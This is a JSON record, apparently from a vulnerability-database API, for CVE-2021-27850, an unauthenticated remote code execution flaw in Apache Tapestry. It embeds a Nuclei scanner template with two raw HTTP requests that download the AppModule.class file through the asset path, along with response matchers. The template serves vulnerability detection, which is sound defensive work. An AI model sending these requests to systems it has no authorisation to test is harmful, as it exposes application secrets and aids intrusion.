{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-27850/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-27850/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-27850/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-27850/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-27850/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-27850"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-27850"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-27850.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-27850\n\ninfo:\n  name: Apache Tapestry - Remote Code Execution\n  author: pdteam\n  severity: critical\n  description: |\n    Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Apply the latest security patches or updates provided by Apache to fix the vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-27850\n    - https://lists.apache.org/thread.html/r237ff7f286bda31682c254550c1ebf92b0ec61329b32fbeb2d1c8751%40%3Cusers.tapestry.apache.org%3E\n    - http://www.openwall.com/lists/oss-security/2021/04/15/1\n    - https://security.netapp.com/advisory/ntap-20210528-0002/\n    - https://github.com/ARPSyndicate/cvemon\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-27850\n    cwe-id: CWE-502,CWE-200\n    epss-score: 0.93471\n    epss-percentile: 0.99836\n    cpe: cpe:2.3:a:apache:tapestry:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: apache\n    product: tapestry\n  tags: cve,cve2021,apache,tapestry,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /assets/app/something/services/AppModule.class/ HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n      - |\n        GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - 'application/java'\n\n      - type: word\n        part: body\n        words:\n          - 'configuration'\n          - 'webtools'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: id\n        group: 1\n        regex:\n          - '\\/assets\\/app\\/([a-z0-9]+)\\/services\\/AppMod'\n        internal: true\n        part: header\n# digest: 4a0a00473045022100e337cd91592220b8b49813f523272ca266e3015b1f012095957c6347ec10bc3402203e118a253020a5c98091d0576f3a9e33edfc5614078c7422082cdaf27744b7c8:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-27850"
}